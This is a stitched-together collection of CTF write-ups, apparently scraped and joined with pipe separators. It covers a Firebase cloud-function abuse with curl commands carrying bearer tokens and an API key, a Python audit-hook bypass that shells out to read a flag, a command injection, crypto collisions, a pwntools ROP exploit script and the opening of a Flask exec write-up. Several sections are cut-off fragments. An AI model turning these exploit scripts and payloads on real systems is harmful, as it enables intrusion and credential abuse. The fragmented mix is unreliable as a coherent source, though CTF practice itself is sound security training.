eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQzNzgsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDM3OCwiZXhwIjoxNjA4NjY3OTc4LCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ej2OLpotzBI_BGddWSzXhCbROuwjlk8_eZ2KjpOtS_gYXDoY9y4xc058t698SA0xv7zt-zLKGA1Z7F1eNL9RHmCXJ4gdF9tJqZobPHi6baTiMbZtCRxZ15YDjipyOrQOJoPci2EGKVA93buR0U6OCSE_kSe0r7-8CQSUuUypyoO6J-eIRn4iRcHcnGG88W-WOIGrwUEBBcfvbcbWsB8iIQGdl_oAoLDYNSxC62kzjejhYmvuSI-GpKjezlAwLtDFyHoNC_wDAlmPElqwOEgtvxuNtIdBZjyilKzRMmKCxdUvTs1HNbpPkOIfwEhPDzo47mubS6ZAEokbr5Vml2NadA'curl 'https://firebasestorage.googleapis.com/v0/b/official-wawanakwa-elections.appspot.com/o/WhyCanIWriteToThisDir%3F.bat' -H 'Authorization: Firebase eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQzNzgsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDM3OCwiZXhwIjoxNjA4NjY3OTc4LCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ej2OLpotzBI_BGddWSzXhCbROuwjlk8_eZ2KjpOtS_gYXDoY9y4xc058t698SA0xv7zt-zLKGA1Z7F1eNL9RHmCXJ4gdF9tJqZobPHi6baTiMbZtCRxZ15YDjipyOrQOJoPci2EGKVA93buR0U6OCSE_kSe0r7-8CQSUuUypyoO6J-eIRn4iRcHcnGG88W-WOIGrwUEBBcfvbcbWsB8iIQGdl_oAoLDYNSxC62kzjejhYmvuSI-GpKjezlAwLtDFyHoNC_wDAlmPElqwOEgtvxuNtIdBZjyilKzRMmKCxdUvTs1HNbpPkOIfwEhPDzo47mubS6ZAEokbr5Vml2NadA'```
In modern web browsers, if the script executed in the current web page is not authorized to request A URL, then the web browser will not allow it. That's why we need to click on the generated link manually to download the files:
But among the three files, 2 files were downloaded and they are useless to us:
And the [resources/web-488-the_big_election_hack/index.js](index.js) is the only interesting file.
After reading this file, we will learn that this is a Javascript file that can be executed only in the backend using NodeJS. But until now, we only interracted with Firebase API and Google API for the authentication.
As an interesting hint, in the web page there was a Javascript file that is responsible for the Cloud Function feature in Firebase. And after Googling whether the index.js can be ran using Firebase API or not, we can learn that this is possible.
And to request the web page that is running that index.js file, we need to execute the following instructions in the console of the web browser:
```var setResults2020 =firebase.functions().httpsCallable('setResults2020');setResults2020({ winner_party: "The Orange Party" }) .then((result) => { // Read result of the Cloud Function. console.log(result.data);});```
This generated a HTTP request using curl:
```curl 'https://us-central1-official-wawanakwa-elections.cloudfunctions.net/setResults2020' -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjQzNzgsInVzZXJfaWQiOiJ5OXQ5a3dyR1Z1TWVYSHlrRWd6N25uT0pMZU4yIiwic3ViIjoieTl0OWt3ckdWdU1lWEh5a0Vnejdubk9KTGVOMiIsImlhdCI6MTYwODY2NDM3OCwiZXhwIjoxNjA4NjY3OTc4LCJlbWFpbCI6ImVtcGVyb3JAeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wZXJvckB5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ej2OLpotzBI_BGddWSzXhCbROuwjlk8_eZ2KjpOtS_gYXDoY9y4xc058t698SA0xv7zt-zLKGA1Z7F1eNL9RHmCXJ4gdF9tJqZobPHi6baTiMbZtCRxZ15YDjipyOrQOJoPci2EGKVA93buR0U6OCSE_kSe0r7-8CQSUuUypyoO6J-eIRn4iRcHcnGG88W-WOIGrwUEBBcfvbcbWsB8iIQGdl_oAoLDYNSxC62kzjejhYmvuSI-GpKjezlAwLtDFyHoNC_wDAlmPElqwOEgtvxuNtIdBZjyilKzRMmKCxdUvTs1HNbpPkOIfwEhPDzo47mubS6ZAEokbr5Vml2NadA' -H 'Content-Type: application/json' --data-binary '{"data":{"winner_party":"The Orange Party"}}'```
Output:
And that worked even with a wrong message we know that this is how we have to send the HTTP request.
We get an error because our email address is `[email protected]` which does not contain `kuhi.to` pattern and it's not a validated email address.
So let's get back to Firepwn-tool and let's create an email address that fit well with this condition.
We created an email address `[email protected]`.
Then, we used the API to send an email verification request for the same email address:
```curl 'https://identitytoolkit.googleapis.com/v1/accounts:sendOobCode?key=AIzaSyDUOa5rtOnbVbF7T7ivUeBBR78L2tkODmY' -H 'Content-Type: application/json' --data-binary '{"requestType":"VERIFY_EMAIL","idToken":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjNjYmM4ZjIyMDJmNjZkMWIxZTEwMTY1OTFhZTIxNTZiZTM5NWM2ZDciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vb2ZmaWNpYWwtd2F3YW5ha3dhLWVsZWN0aW9ucyIsImF1ZCI6Im9mZmljaWFsLXdhd2FuYWt3YS1lbGVjdGlvbnMiLCJhdXRoX3RpbWUiOjE2MDg2NjYyMDIsInVzZXJfaWQiOiJVMlVVaEI0UGRzYnZuNFRhREM1aEt5NzVvUGEyIiwic3ViIjoiVTJVVWhCNFBkc2J2bjRUYURDNWhLeTc1b1BhMiIsImlhdCI6MTYwODY2NjIwMiwiZXhwIjoxNjA4NjY5ODAyLCJlbWFpbCI6ImVtcGt1aGkudG9AeW9wbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiZW1wa3VoaS50b0B5b3BtYWlsLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.SS8CL7uu2Jx2OkLOaSERunfvxyX_PEr_0wzB0N3EhoZs-frrPwxcCv808lcHzYGOHhVJdFM93hfUuWr8Odn_MZIQcWA5KvTT5xr4BHoURbEqd8dHGMhDVozTd_vq_p4Hl93EbfDciFjtse_N3AAT-vJwXgvo4ll88rsVMZ0rMScWBjpMISYc-ann2Qky_QAwgnA1YuBY7aqkW5kStbyHq8-BAW26yrogL6SCr3amUgurr2LYdZvb75oN_7v2G67jmAPMy_bxx6iwdL11I9NxsR11T1fj0N0fSmeFNKPDqjH_4-ADoS811LWxrDvrDgHPvxxIH2XVNI3A_a7LS1bSMA"}'```
Output:
Then, we validate the email address by accessing the provided link after checking the mailbox in yopmail.com.
Now, the email is validated:
We need to re-authenticate again to have the new IdToken that contains the information about the email that is valid now.
The re-authentication can be done via the console using:
```firebase.auth().signInWithEmailAndPassword("[email protected]", "123456") .then((user) => { // Signed in // ... }) .catch((error) => { var errorCode = error.code; var errorMessage = error.message; });```
Or, this can be done by removing the cookies from the web browser and then you reload the web page to set the credentials from the form directly.
This will generate the following curl command:
```curl 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key=AIzaSyDUOa5rtOnbVbF7T7ivUeBBR78L2tkODmY' --data-binary '{"email":"[email protected]","password":"123456","returnSecureToken":true}'```
Now that we are logged in, we can communicate again with the Cloud Functions API either with the Javascript instructions or the curl command.
But surprisingly, we got a confusing message:
```{"result":{"success":false,"message":"I know this is kind of unfair, but you need to use an email address that was created before you started working on this challenge. If you think this is a mistake, PM yakuhito. If you're using a catch-all email address on your domain, choose one particular address from that domain that DOES NOT include 'kuhi.to' (e.g. [email protected]) and bypass the checks using it."}}```
And we were stuck here until the end of the CTF because we tried different methods to bypass the mentioned condition (changing the email address, using Google/Twitter/Facebook/Github accounts with the Identity provider that is unfortunately disabled, etc).
When the CTF was over, I asked how to solve the last step and `Lachlan` answered me in the web room from Discord and gave me a good answer
So, as I understood, the backend check for the real email address and when we use the email address `[email protected]`, this will be considered as `[email protected]` even though the email address includes `anything`. And in this example `anything=kuhi.to`.
So, I get back to Firepwn-tool and I created a new email address `[email protected]`
And that worked like a charm.
Then, I validated the email:
And, when I checked in the mailbox of `[email protected]`, I found that we received the email.
So, I validated the email address:
And finally, I logged out and logged in and I requested the Cloud Function API:
And that's how we got the flag.
So, the flag is: ``X-MAS{oh_no_the_orange_party_has_the_nuclear_button-061b5d6be235263e}``___
# Scoreboard
In this CTF, we played as a team ``S3c5murf`` with [Likkrid](https://twitter.com/RidhaBejaoui1) and [v3rlust](https://twitter.com/dal0ul) and we got ranked 39th/1064:
......
CTFTime event: [https://ctftime.org/event/1209](https://ctftime.org/event/1209) |
# audited - _pwn, 263pts_
For this challenge we had to bypass runtime audit hooks in the Python interpreter, which were a new addition in Python 3.8. In a nutshell, audit hooks allow scripts to add a hook which is called whenever any interesting event occurs. These events cover things like creating new code objects, opening files, and execveing. You can find a comprehensive list of all audit events in the [CPython documentation](https://docs.python.org/3/library/audit_events.html), and for more implementation details see the [PEP publication](https://www.python.org/dev/peps/pep-0578/).
The challenge registered an audit hook which would call `__exit` (their imported alias of `os._exit`) if it was triggered, which meant that we couldn't simply open the flag or spawn a shell, for example.
Initially I thought this might be a 1-day challenge, so I trawled through all of the audit-hook-related entries in the Python bugtracker, and all issues/PRs on GitHub, but I didn't spot any obvious bugs which would help us solve the challenge. So this was either a previously-unknown bug in the audit implementation, or the developers had forgotten to add audit hooks for some useful function (seemed unlikely as they were pretty diligent in adding them, based on the commit history), or we had to attack the registered audit function itself.
Eventually I decided that the latter option seemed like the most likely, and it became clear that if we could get a reference to the `__main__` module, then we could overwrite the `__exit` function reference with some no-op function, to stop the audit hook from actually exiting the script.
I was able to achieve this by raising an exception and walking up the stack frames until I found the frame containing the reference to `__exit`. Once I had that I overwrote it with `print`, and then used `os.system` to cat the flag.```pythonclasses = ''.__class__.__base__.__subclasses__()sys = classes[133].__init__.__globals__['sys']os = classes[94].__init__.__globals__['_os']
try: raise Exception()except Exception as e: _, _, tb = sys.exc_info() nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which # has a reference to the audit function while nxt_frame: if 'audit' in nxt_frame.f_globals: break nxt_frame = nxt_frame.f_back
# Neuter the __exit function nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want os.system('cat /flag*')```
|
All divisors have order $p+1$, so we can compute Weil pairings; computing discrete logarithms in $\mathbb F_{p^2}$ gives us independent linear equations to get the numbers $e[0],e[1],e[2]$. |
# Alient inclusion (web, 50p, 149 solved)
## Description
```Keep it local and you should be fine. The flag is in /var/www/html/flag.php.
Flag format: CTF{sha256}```
In the task we get access to a simple webpage.
## Task analysis
Webpage displays the source:
```php |
# Help a Santa helper? (Crypto)Description:```Hey, I found some secret server on which Krampus stores his private details.It seems like he has some kind of difficult crypto challenge instead of a login, if we pass that we should get access to valuable information.Let's give it a try, what do you say?
Target: nc challs.xmas.htsp.ro 1004Author: Gabies```Files:- [server.py](server.py)- [chall.py](chall.py)- [PoW.py](PoW.py)
Try to netcat in, same as last crypto chall, ask for a hash:```Provide a hex string X such that sha256(unhexlify(X))[-5:] = 88976
```Using the same pwntools script:```pyfrom pwn import *p = remote("challs.xmas.htsp.ro" ,1004)p.recvuntil("= ")h = p.recvuntil("\n")[:-1]ans = pwnlib.util.iters.mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest()[-5:] == h.decode() , string.ascii_lowercase, length = 10)p.sendline(ans.encode().hex())```Result:```python3 solve.py [+] Opening connection to challs.xmas.htsp.ro on port 1004: Done[+] MBruteforcing: Found key: "byytn"[*] Switching to interactive mode
Good, you can continue!Hello, thanks for answering my call, this time we have to break into Krampus' server and recover a stolen flag.We have to solve a hash collision problem to get into the server.Sadly, we're on a hurry and you only have 2 actions you can make until we get detected.Choose what you want to do:1. hash a message2. provide a collision3. exit
$ 1Ok, give me a hex-encoded string to hash.
Give me a message.$ deadbeefHere is your hash: b'b01385bb41ec9d0956545c328a5160ae'.
Choose what you want to do:1. hash a message2. provide a collision3. exit
$ 2Now give me two different hex-encoded strings to check for a collision.
Give me a message.$ deadbeefGive me a message.$ deadbeefOh, you silly, that was not it, you should try one more time![*] Got EOF while reading in interactive
```As you can see, we can only have two actions:1. hash a message2. provide a collision
## Analyse source code### server.py```pyfrom chall import *from PoW import *from text import *import osfrom binascii import *
def is_hex(s): for c in s: if not c in "0123456789abcdef": return False return True
def collision(h1, h2): return h1.string != h2.string and h1.digest() == h2.digest()
if not PoW(5): exit()
action_cnt = 2seed = os.urandom(16)
print (intro.format(action_cnt))
for i in range(action_cnt): print (menu) x = input()
if not x in ["1", "2", "3"]: print(invalid_input) exit()
if x == "1": print (hash_message) print (get_msg) msg = input()
if not is_hex(msg): print (bad_input) exit()
h = Hash(seed) h.update(unhexlify(msg))
print (show_hash.format(h.hexdigest()))
if x == "2": print (collision_message)
print (get_msg) msg1 = input() print (get_msg) msg2 = input()
if not (is_hex(msg1) and is_hex(msg2)): print (bad_input) exit()
h1 = Hash(seed) h2 = Hash(seed)
h1.update(unhexlify(msg1)) h2.update(unhexlify(msg2))
if (collision(h1, h2)): print (win.format(FLAG)) else: print (lose) exit() if x == "3": print (goodbye) exit()```
After looking the server.py, we know that `seed` is generate randomly, and we can get the flag only if `collision` return true
```pydef collision(h1, h2): return h1.string != h2.string and h1.digest() == h2.digest()......h1 = Hash(seed)h2 = Hash(seed)
h1.update(unhexlify(msg1))h2.update(unhexlify(msg2))
if (collision(h1, h2)): print (win.format(FLAG))```
### chall.py```pyimport osfrom Crypto.Cipher import AESfrom binascii import hexlify
def xor(a, b): return bytes([x^y for x,y in zip(a, b)])
def pad(msg, block_size): if len(msg) % block_size == 0: return msg return msg + bytes(block_size - len(msg) % block_size)
class Hash: def __init__(self, seed = None): if seed == None: seed = os.urandom(16)
self.perm = AES.new(seed, AES.MODE_ECB) self.get_elem = self.perm.encrypt self.hash = bytes(16) self.string = b""
def update(self, msg): msg = pad(msg, 16) for i in range(0, len(msg), 16): self.string += msg[i:i+16] self.hash = xor(msg[i:i+16], self.get_elem(xor(self.hash, msg[i:i+16])))
def digest(self): return self.hash
def hexdigest(self): return hexlify(self.digest())
```After looking the chall.py, we know it is using **AES ECB** to encrypt our message
But the `update` function does some special things:```pydef update(self, msg): msg = pad(msg, 16) for i in range(0, len(msg), 16): self.string += msg[i:i+16] self.hash = xor(msg[i:i+16], self.get_elem(xor(self.hash, msg[i:i+16])))```We know the `get_elem` is the AES ECB encrypt function
And the `hash` is always 16 bytes, because it not appending
It does something like this if written in math term:
Where `m` is message, h is `hash`, E is `get_elem`
If convert to diagram is something like this:
## Finding the collision
In the `collision` function, state that **we need to give two different message but produce the same hash**
We can only hash a message once then we need to provide the two message. (Because of max 2 actions)
There is a flaw exist in this custom made hashing
If we send a only 16 bytes message, it return the hash that is message XOR the encrypted message:
Then what happen if we send `h XOR m` for the 2nd block of the message?
As you can see, if we put the 2nd block message as hash XOR message, it must produce hash with all zero!
So we give `m` for first message and `m+(h^m)+m` for second message to get the collision!
Because `m` produce `h`, `m+(h XOR m)+m` also produce `h` (0 XOR h = h), so we get different message but same hash!
## SolvingWritten a [python script](solve.py) to solve this:```pyfrom pwn import *# Pad function from the chall.pydef pad(msg, block_size): if len(msg) % block_size == 0: return msg return msg + bytes(block_size - len(msg) % block_size)
p = remote("challs.xmas.htsp.ro" ,1004)p.recvuntil("= ")h = p.recvuntil("\n")[:-1]ans = pwnlib.util.iters.mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest()[-5:] == h.decode() , string.ascii_lowercase, length = 10)p.sendline(ans.encode().hex())
p.sendline('1')p.sendlineafter("message.\n","SKR".encode().hex())p.recvuntil("Here is your hash: b'")h = bytes.fromhex(p.recvuntil("'")[:-1].decode())m = pad(b"SKR",16)hm = xor(m,h)p.sendline('2')p.sendlineafter("message.\n",(m).hex())p.sendlineafter("message.\n",(m+hm+m).hex())p.interactive()```And we got the flag!!```python3 solve.py [+] Opening connection to challs.xmas.htsp.ro on port 1004: Done[+] MBruteforcing: Found key: "tgao"[*] Switching to interactive modeDamn, that was a really clever approach, you should be proud of yourself.Here's the flag: X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}[*] Got EOF while reading in interactive
```## Flag> X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233} |
```from sage.all import *from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
def solve(m, e, n, c): P.<x> = PolynomialRing(Zmod(n)) f = (m + x)^e - c f = f.monic() m = f.small_roots(epsilon=1/30) print(long_to_bytes(int(m[0])))
n = 0xacd73d22c11ef7c7bcf661380cdc7934f77b808b5a60e351dc0cbdd4ac850dd7acda9bde6b391485d51948358cf9a8befccc92fcea63c4ddedaedcd8c5d34ba4f3c86de6f94238bb3593ff8a46c816d6103978ba97f0c4436218974771001d13d31c83913f9da162b1bd38ca63303f341bc205afe488194993c0977149a844ef e = 3c = 0x762a422e8fd1e511b13164179b1c4f9f707217d6fa1d4d6aa5d156239c35ef3417e7c195b7d28687dc4dcf595dadf45f9d8bc58199e877d7084c27fd3c18e30e6b1be193f6eb77f9891ad730cb9af902662ef590bb5c290af7da122f9fc357aff2b1315369dbc24c9524f159fb5aef088f8f1e9892ebc905967f7f5e05632211m = b'first part of the flag: \x00\x00\x00\x00\x00\x00\x00 second part: \x00\x00\x00\x00\x00\x00\x00'm = bytes_to_long(m)
solve(m, e, n, c)``` |
# Collision course
**Category**: Cryptography \**Points**: 500
## Challenge- Create 2 DIFFERENT files with the same md5 hash.- Additionally, the files have to contain the phrase: "AFFCTF".- File size limit is is 100000b
## Solution
Grab two 4.0KB example files with an md5 collision:1. [collision1.zip](https://github.com/corkami/collisions/blob/master/examples/collision1.zip)2. [collision2.zip](https://github.com/corkami/collisions/blob/master/examples/collision2.zip)
Append `AFFCTF` to both.```$ md5sum collision1.zip collision2.zip2b980a3708ff9edfdd6c8dfbb42e4f8d collision1.zip2b980a3708ff9edfdd6c8dfbb42e4f8d collision2.zip
$ echo "AFFCTF" >> collision1.zip$ echo "AFFCTF" >> collision2.zip
$ md5sum collision1.zip collision2.zipf6ff7f5a9c9dfcb3715d05bde1e6f708 collision1.zipf6ff7f5a9c9dfcb3715d05bde1e6f708 collision2.zip```
Submitting this to the challenge page, I got:```Checking, please wait...String found in the first fileString found in the second fileChecking if files are different...Files are differentChecking if files are MD5 Hash is the same for both files...MD5Hashes are the same. You were right. The flag is: AFFCTF{One_Way_Or_Another}``` |
> Write-up and Inital setup to re-create the challenege in your own system and follow the solution.
The challenge is cateorgorized as crypto hinting what vulnerbailites to look for in the source code downloaded from the CTF website.
### **The target Website looks as show below**
It makes two Http:// GET requests. One to “**authorize**” API and another to “**run**” API.
As the name suggest one API does the user input validation and generates a signature, the other uses the signature to verfiy the inputs and runs the user inputs as command to provide the final output. Run API end-point is accessible to public internet (in our case the host system), anyone can send a maliciously crafted the request to run API end-point, if they have a valid signature of the data.
Challenege is around finding a vulnerability in the signature (MAC) generation and exploit it to get the flag. |
# revenge-of-pwn
> Have you ever thought those challenges you pwned may retaliate someday? nc 3.115.58.219 9427 revenge_of_pwn-255196bb99d75512732a4109f154103b4bc428e6e29e2cdcc69e44aee67ea75f.tar.gz
Categories:* misc* pwn
## Solution
```$ nc 3.115.58.219 9427ELF size? (MAX: 6144)131/home/deploy/secret_python_others_should_never_know -c '__import__("os").setgid(1001);print(open("/home/deploy/flag").read())' 1>&2[*] Version of pwntools: 4.3.0[x] Opening connection to 127.0.0.1 on port 1337[x] Opening connection to 127.0.0.1 on port 1337: Trying 127.0.0.1[+] Opening connection to 127.0.0.1 on port 1337: Donehitcon{use_pwntools_to_pwn_pwntools_^ovo^}```
## Explanation
So basically I think we were supposed to [abuse pwntools `asm` function](https://github.com/FrenchRoomba/ctf-writeup-HITCON-CTF-2020/blob/master/revenge-of-pwn/README.md), but I'm pretty lazy
Since we basically have a shell by sending `len(cmd) + "\n" + cmd` to the socket (it executes non-ELF without shebang as `bash`), I explored a little first:
```$ ls -lah $HOME-rwxr-sr-x 1 root exploiter 5.3M Nov 26 05:07 /home/deploy/secret_python_others_should_never_know-rw-r----- 1 root exploiter 43 Nov 24 14:58 /home/deploy/flag```
The setgid bit is set on `secret_python_others_should_never_know`, and it's owned by `exploiter`--and so is the flag!
```$ cat /etc/passwd | grep exploiterexploiter:x:1001:1001:,,,:/home/exploiter:/bin/bash```
So now we just run `secret_python_others_should_never_know` which is basically a copy of the `python3` binary:
```$ secret_python_others_should_never_know>>> import os>>> os.setgid(1001)>>> os.system('cat /home/deploy/flag')```
(^ expanded payload). I also had to redirect stdout to stderr to see the output.
|
### DisclaimerI based my solution off of https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/xmasCTF/pwn_lilwishes/pwn_lilwishes_writeup.html
### Note: I used my own libc instead of the provided libc. It doesn't make too much of a difference. Just substitute the one gadget and some other gadgets
# Process
## Options MenuFirst, we have to get to the options menu:
```io = start()
io.recvuntil("Wishes database\n")```
## Menu NavigationI wrote helper scripts for menu navigation```def swap_ids(a, b): io.sendlineafter("Option:", "1") io.sendlineafter("Index 1", a) io.sendlineafter("Index 2", b)
def print_db(): io.sendlineafter("Option:", "2") resp = io.recvuntil("Choose:") resp = resp.split(b'\n') resp = resp[2:-2] output = dict() for i, r in enumerate(resp): r = r.split(b" = ") output[i] = r[-1] return output
def add_id(i, d): io.sendlineafter("Option:", "3") io.sendlineafter("Index", i) io.sendlineafter("Value:", d)```
## BugThe bug was that in the "swap IDs" function, the index was any integer but it would be calculated into an unsigned 2 byte (`0x0000` - `0xffff`) integer by doing `$input & 0xffff`. This means you can do an integer overflow.
For example, an input of `0xffff0009` as an integer is a valid index to swap with. Even though the binary wouldn't let you swap with index > 8, you can use `0xffff0009` which meets the >8 criteria _but_ evaluates to 9 in the end.
## Leak libcYou can leak libc base address by swapping IDs with something else in the stack. I wrote a helper function for this:
```def leak_index(i): i = i + 0xffff0000 swap_ids("0", str(i)) leak = print_db() leak = leak[0] leak = int(leak) swap_ids("0", str(i)) # Replace the index return leak```
Leaking glibc would mean you do `leak_index(0xb)` which is the `libc_start_main` return address.
Note: I leaked the PIE base and the canary for posterity. I didn't use them in the end, I don't think.
## ROP to `/bin/sh`
I found a one gadget for my libc and some useful gadgets:
```one_gadget = libc.address + 0xe6e79pop_rsi = libc.address + 0x0000000000027529 pop_rdx_r12 = libc.address + 0x000000000011c371pop_rbp = libc.address + 0x00000000000256c0```
Using the same swapping bug seen before, I can put these gadgets in the stack one-by-one as a ROP chain. I wrote a helper function for this:
```def setup_rc(rc_list): rip_base = 0xffff000b for gi, gadget in enumerate(rc_list): add_id("1", str(gadget)) swap_ids("1", str(rip_base + gi))```
All you have to do now is type in "4" to exit so that the return RIP is hit.# Solution Script (`pwntools`)```#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled
io = start()
io.recvuntil("Wishes database\n")
def swap_ids(a, b): io.sendlineafter("Option:", "1") io.sendlineafter("Index 1", a) io.sendlineafter("Index 2", b)
def print_db(): io.sendlineafter("Option:", "2") resp = io.recvuntil("Choose:") resp = resp.split(b'\n') resp = resp[2:-2] output = dict() for i, r in enumerate(resp): r = r.split(b" = ") output[i] = r[-1] return output
def add_id(i, d): io.sendlineafter("Option:", "3") io.sendlineafter("Index", i) io.sendlineafter("Value:", d)
def leak_index(i): i = i + 0xffff0000 swap_ids("0", str(i)) leak = print_db() leak = leak[0] leak = int(leak) swap_ids("0", str(i)) # Replace the index return leak
def setup_rc(rc_list): rip_base = 0xffff000b for gi, gadget in enumerate(rc_list): add_id("1", str(gadget)) swap_ids("1", str(rip_base + gi))
# DEBUG - Just set up a markeradd_id("0", str(0xdeadbeefdeadbeef))
"""canaryrbprip (ret rip)"""# Leak canary by swapping beyond# Canary is at 0x9 but the instructions at offset 0x00100a5d allow you to integer overflowcanary_leak = leak_index(0x9)log.info("canary leak: {}".format(hex(canary_leak)))
pie_leak = leak_index(0x10)log.info("pie leak: {}".format(hex(pie_leak)))exe.address = pie_leak - 0xb50log.info("pie base: {}".format(hex(exe.address)))
libc_leak = leak_index(0xb)log.info("libc leak: {}".format(hex(libc_leak)))libc.address = libc_leak - 0x270b3log.info("libc base: {}".format(hex(libc.address)))
# Gadgets hereone_gadget = libc.address + 0xe6e79pop_rsi = libc.address + 0x0000000000027529 pop_rdx_r12 = libc.address + 0x000000000011c371pop_rbp = libc.address + 0x00000000000256c0setup_rc([pop_rsi, 0x0, pop_rdx_r12, 0x0, 0x0, pop_rbp, exe.bss(offset=0x100), one_gadget])
io.sendlineafter("Option:", "4")
io.interactive()```
|
Steps to get flag:
* Copy the hex data of challenge file and paste it to [hexed.it](https://hexed.it/) and then export the file you will get the zip file.* Zip file contains pdf with password protection. we used pdfcrack to crack it with rockyou.txt. (Password was ***butterfly***)* There are two images in pdf which when you do reverse image search you get to know that one of then is draconian fonts.* decoding the draconian font we get the flag |
# KVCloud (WeCTF 2020)
_This solution was developed by teammates Jeff Delamare, Lydia Doza, and Evan Johnson (me) through_ _several hours of remote collaboration._
## The Challenge
The target was a server running a vulnerable Flask application. The app's "official" function wasto serve as an intermediary between users and a Redis database, but the intended solution did notinvolve compromising the database.
Many thanks to the challenge authors and WeCTF organizers for putting this one together!
### Summary
The challenge handout was a [zip archive](https://github.com/wectf/2020p/blob/master/kvcloud/handout.zip)containing source code for a small Flask app that implements asimple HTTP-based API to interact with a Redis database. The app provides ways to set and getspecific keys. It also has some helper functions to interact with the backend database and a handlerfor a `/debug` route that executes user input as code (!!!). However, the `/debug` route handlerrefuses to do anything interesting unless it receives a POST request from 127.0.0.1 (i.e. localhost,the machine running the Flask app).
The Dockerfile in the handout instructs Docker to copy a file of the same name from the project directory.This implies that the flag on the server should be in `/flag.txt`. It also helpfully removes access to a bunch ofRedis commands that could be abused to extract the flag. We took this as a hint that the easiest path tothe flag would not be through Redis.
### Helpful background knowledge
#### For reading the challenge source code
- familiarity with Flask [routing](https://flask.palletsprojects.com/en/1.1.x/quickstart/#routing)and the [`Request` objects](https://flask.palletsprojects.com/en/1.1.x/quickstart/#accessing-request-data) availableinside route handlers
- familiarity with Python 3.x, specifically:
- format strings, i.e. `"{}".format(5)` becomes `"5"`
- the `**` operator to pass keyword arguments from a `dict`, i.e. `some_function(1, **{'a': "xyz", 'b': 3})` becomes `some_function(1, a="xyz", b=3)`
#### For the exploit itself
- HTTP request [methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods) and [headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods)
- Python file I/O or use of the `os` module to run shell commands
## Spotting vulns
`exec` stuck out like a sore thumb. It interprets a string as Python code and executes that codewithout a care in the world for what it might do. Knowing that, it was clear to us that if wecould get the program to pass an input from us as the argument to `exec`, we could do prettymuch anything.
However, inputs to that function had to come from HTTP requests originating (or appearing tooriginate) from the same machine. Spoofing the source IP of packets seemed plausible, but we feltthere might be an easier way when we noticed a few key details:
- `redis_get` and `redis_set` both dump strings read from query parameters in a request URLdirectly into the strings they send to the database.
